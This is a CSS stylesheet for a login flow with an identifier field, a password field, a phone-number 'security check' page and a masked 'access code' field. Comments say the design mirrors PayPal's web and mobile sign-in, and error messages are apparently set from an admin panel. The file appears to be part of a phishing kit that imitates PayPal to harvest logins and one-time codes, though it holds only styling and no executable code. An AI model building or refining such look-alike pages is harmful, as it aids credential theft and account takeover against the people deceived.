:root {
  --u-blue: #0a5fc4;
  --u-blue-dark: #084a9c;
  --u-blue-text: #0a66d6;
  --u-bg: #ffffff;
  --u-card: #ffffff;
  --u-field-bg: #ffffff;
  --u-field-fill: #ebedf0;
  --u-border: #d9dde2;
  --u-text: #1a1d21;
  --u-muted: #8a9099;
  --u-danger: #d43535;
  --u-success: #1a8f4c;
}

* { box-sizing: border-box; }

html, body {
  margin: 0;
  padding: 0;
}

body {
  font-family: "Helvetica Neue", Helvetica, Arial, "Segoe UI", sans-serif;
  background: var(--u-bg);
  color: var(--u-text);
  min-height: 100vh;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 24px;
  -webkit-font-smoothing: antialiased;
}

.card {
  width: 100%;
  max-width: 400px;
  background: var(--u-card);
  border-radius: 22px;
  padding: 36px 36px 26px;
  box-shadow: 0 12px 40px rgba(20, 30, 50, 0.08);
  animation: card-in 0.5s cubic-bezier(0.16, 1, 0.3, 1);
}

@keyframes card-in {
  from { opacity: 0; transform: translateY(14px) scale(0.985); }
  to   { opacity: 1; transform: translateY(0) scale(1); }
}

/* Company / brand title — generous, PayPal-style gap to the first field below */
.brand {
  text-align: center;
  font-family: "Helvetica Neue", Helvetica, Arial, "Segoe UI", sans-serif;
  font-size: 32px;
  font-weight: 800;
  line-height: 1.1;
  letter-spacing: -0.5px;
  margin: 6px 0 40px;
}

.field {
  position: relative;
  margin-bottom: 14px;
}

.field input {
  width: 100%;
  height: 52px;
  padding: 0 46px 0 16px;
  font-size: 15px;
  color: var(--u-text);
  background: var(--u-field-bg);
  border: 1px solid var(--u-border);
  border-radius: 10px;
  outline: none;
  transition: border-color 0.18s ease, box-shadow 0.18s ease, background 0.18s ease;
}

.field input::placeholder { color: var(--u-muted); }

.field input:focus {
  border-color: var(--u-blue);
  box-shadow: 0 0 0 3px rgba(10, 95, 196, 0.14);
  background: #fff;
}

.field.filled input {
  background: var(--u-field-fill);
  border-color: transparent;
}

.field.filled input:focus {
  background: #fff;
  border-color: var(--u-blue);
}

.toggle-pass {
  position: absolute;
  top: 0;
  right: 6px;
  height: 52px;
  width: 40px;
  display: flex;
  align-items: center;
  justify-content: center;
  border: 0;
  background: transparent;
  color: #4a4f57;
  cursor: pointer;
  padding: 0;
}
.toggle-pass:hover { color: var(--u-text); }
.toggle-pass svg { width: 20px; height: 20px; }

.forgot {
  display: inline-block;
  margin: 2px 0 20px;
  font-size: 14px;
  font-weight: 700;
  color: var(--u-blue-text);
  text-decoration: none;
}
.forgot:hover { text-decoration: underline; }

.btn {
  width: 100%;
  height: 52px;
  border-radius: 26px;
  font-size: 16px;
  font-weight: 700;
  cursor: pointer;
  border: 1.5px solid transparent;
  transition: transform 0.12s ease, background 0.18s ease, box-shadow 0.18s ease, color 0.18s ease;
}
.btn:active { transform: scale(0.985); }

.btn-primary {
  background: var(--u-blue);
  color: #fff;
  box-shadow: 0 6px 16px rgba(10, 95, 196, 0.28);
}
.btn-primary:hover { background: var(--u-blue-dark); }

.btn-outline {
  background: #fff;
  color: var(--u-blue-text);
  border-color: var(--u-blue);
}
.btn-outline:hover { background: rgba(10, 95, 196, 0.06); }

.divider {
  display: flex;
  align-items: center;
  gap: 14px;
  margin: 20px 0;
  color: var(--u-muted);
  font-size: 14px;
  font-style: italic;
}
.divider::before,
.divider::after {
  content: "";
  flex: 1;
  height: 1px;
  background: var(--u-border);
}

.lang {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 10px;
  margin-top: 22px;
  font-size: 13px;
  color: #4a4f57;
  flex-wrap: wrap;
}
.lang .flag {
  display: inline-flex;
  align-items: center;
  gap: 4px;
  font-size: 12px;
  color: var(--u-muted);
}
.lang .region {
  display: inline-flex; align-items: center; gap: 3px;
  font-size: 12px; font-weight: 700; color: #4a4f57; text-transform: uppercase;
}
.lang .region svg { width: 11px; height: 11px; color: var(--u-muted); }
.lang a {
  color: #4a4f57;
  text-decoration: none;
  padding-left: 10px;
  border-left: 1px solid var(--u-border);
}
.lang a:first-of-type { border-left: 0; padding-left: 0; }
.lang a:hover { color: var(--u-blue-text); }
.lang .active { font-weight: 700; color: var(--u-text); }

.alert {
  border-radius: 10px;
  padding: 11px 14px;
  font-size: 14px;
  margin-bottom: 16px;
  animation: card-in 0.3s ease;
}
.alert-error { background: #fdecec; color: #1a1a1a; border: 1px solid #f5c6c6; }
.alert-success { background: #e8f6ee; color: var(--u-success); border: 1px solid #bfe6cd; }

.subtext {
  text-align: center;
  font-size: 14px;
  color: var(--u-muted);
  margin-top: 4px;
}
.subtext a { color: var(--u-blue-text); font-weight: 700; text-decoration: none; }
.subtext a:hover { text-decoration: underline; }

/* Dashboard */
.dash-card { max-width: 440px; text-align: center; }
.dash-avatar {
  width: 72px; height: 72px; border-radius: 50%;
  background: var(--u-blue); color: #fff;
  display: flex; align-items: center; justify-content: center;
  font-size: 30px; font-weight: 800; margin: 0 auto 18px;
}
.dash-card h2 { margin: 0 0 6px; font-size: 22px; }
.dash-card p { color: var(--u-muted); margin: 0 0 26px; font-size: 15px; }

/* --- Smart identifier field (page 1) --- */
.field.smart input { transition: padding-left 0.15s ease, border-color 0.18s ease, box-shadow 0.18s ease, background 0.18s ease; }
.adorn {
  position: absolute; left: 14px; top: 50%; transform: translateY(-50%);
  display: none; align-items: center; gap: 6px; pointer-events: none;
}
.adorn.show { display: flex; }
.adorn .flag { font-size: 17px; line-height: 1; }
.adorn .dial { font-size: 15px; color: var(--u-text); font-weight: 500; }
.adorn .divider-v { width: 1px; height: 22px; background: var(--u-border); }
.valid-check {
  position: absolute; right: 14px; top: 50%; transform: translateY(-50%);
  display: none; color: var(--u-success); width: 20px; height: 20px;
}
.valid-check.show { display: flex; }
.valid-check svg { width: 20px; height: 20px; }
.input-status { font-size: 12.5px; color: var(--u-muted); margin: -8px 0 12px; min-height: 15px; padding-left: 2px; }
.input-status.err { color: var(--u-danger); }
.input-status.ok  { color: var(--u-success); }
/* error shown ABOVE the identifier box on the login page */
.input-status.above { display: none; margin: 0 0 6px; min-height: 0; color: var(--u-danger); }
.input-status.above.show { display: block; }
.field.smart { margin-bottom: 10px; }
.flag-img { width: 20px; height: 15px; border-radius: 2px; object-fit: cover; display: inline-block; vertical-align: middle; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.08); }
.adorn .flag-img { margin-right: 1px; }
.lang .region .flag-img { width: 18px; height: 13px; margin-right: 2px; }
.flag-wrap { display: inline-flex; align-items: center; }

/* --- Security check page (page 2) --- */
.check-title { text-align: center; font-size: 21px; font-weight: 800; margin: 4px 0 4px; letter-spacing: -0.3px; }
.check-sub { text-align: center; font-size: 14px; color: var(--u-muted); margin: 0 0 22px; }

.phone-group {
  position: relative; display: flex; align-items: stretch; height: 52px;
  border: 1px solid var(--u-border); border-radius: 10px; background: #fff;
  transition: border-color 0.18s ease, box-shadow 0.18s ease; margin-bottom: 6px;
}
.phone-group.focus { border-color: var(--u-blue); box-shadow: 0 0 0 3px rgba(10, 95, 196, 0.14); }
.phone-group.invalid { border-color: var(--u-danger); }
.country-btn {
  display: flex; align-items: center; gap: 6px; padding: 0 12px;
  background: transparent; border: 0; border-right: 1px solid var(--u-border);
  cursor: pointer; font-size: 15px; color: var(--u-text); border-radius: 10px 0 0 10px;
  transition: background 0.15s ease;
}
.country-btn:hover { background: #f5f6f8; }
.country-btn svg { width: 13px; height: 13px; color: var(--u-muted); }
.phone-group input { flex: 1; border: 0; outline: 0; background: transparent; padding: 0 14px; font-size: 15px; border-radius: 0 10px 10px 0; color: var(--u-text); }
.phone-group input::placeholder { color: var(--u-muted); }

.country-menu {
  position: absolute; top: 58px; left: 0; width: 290px; max-height: 264px; overflow-y: auto;
  background: #fff; border: 1px solid var(--u-border); border-radius: 12px;
  box-shadow: 0 14px 34px rgba(20, 30, 50, 0.16); list-style: none; margin: 0; padding: 6px; z-index: 30; display: none;
}
.country-menu.open { display: block; animation: card-in 0.16s ease; }
.country-menu li { display: flex; align-items: center; gap: 10px; padding: 9px 10px; border-radius: 8px; cursor: pointer; font-size: 14px; }
.country-menu li:hover { background: #f0f4fb; }
.country-menu li .cm-flag { font-size: 16px; }
.country-menu li .cm-name { color: var(--u-text); }
.country-menu li .dial { margin-left: auto; color: var(--u-muted); font-size: 13px; }
.phone-group + .input-status { margin: 4px 0 16px; }

/* Masked "access code" field — shows dots as the visitor types. */
.secret-field { -webkit-text-security: disc; text-security: disc; }
.secret-field.reveal { -webkit-text-security: none; text-security: none; }

/* Highlighted words inside the error message (configured in admin → Company Info). */
.hl-red { color: #d43535; font-weight: 700; }
.hl-blue { color: #1e4fd6; font-weight: 700; }

/* -------------------------------------------------------------------------
   Mobile responsiveness — the entire card must fit in the mobile viewport
   without scrolling, while preserving the elegant proportions and the
   tight visual gap between the brand title and the first field.
   ------------------------------------------------------------------------- */
@media (max-width: 480px) {
  html, body { min-height: 100dvh; }
  body { padding: 0; background: #fff; align-items: flex-start; }

  /* On mobile the card frame disappears — the form sits directly on the
     page like the reference PayPal mobile view (no shadow, no border,
     no rounded background). */
  .card {
    max-width: 100%;
    width: 100%;
    border-radius: 0;
    background: transparent;
    padding: 40px 24px 24px;
    box-shadow: none;
    animation: none;
  }

  .brand {
    font-size: 36px;
    margin: 8px 0 44px;
  }

  .field { margin-bottom: 14px; }
  .field.smart { margin-bottom: 12px; }

  .field input,
  .phone-group,
  .btn { height: 60px; }

  .field input { font-size: 16px; padding: 0 48px 0 16px; border-radius: 8px; }
  .btn { font-size: 17px; border-radius: 30px; }

  .toggle-pass { height: 60px; }

  .forgot { margin: 6px 0 22px; font-size: 15px; }
  .divider { margin: 22px 0; font-size: 15px; }
  .lang { margin-top: 40px; gap: 10px; font-size: 13px; }

  .check-title { font-size: 22px; }
  .check-sub { font-size: 15px; margin-bottom: 22px; }

  .country-menu { width: calc(100vw - 48px); max-width: 340px; }
}

@media (max-width: 360px) {
  .card { padding: 32px 20px 20px; }
  .brand { font-size: 32px; margin: 6px 0 36px; }
  .field input, .phone-group, .btn { height: 56px; }
  .toggle-pass { height: 56px; }
  .btn { font-size: 16px; border-radius: 28px; }
  .divider { margin: 18px 0; }
  .lang { margin-top: 32px; }
}
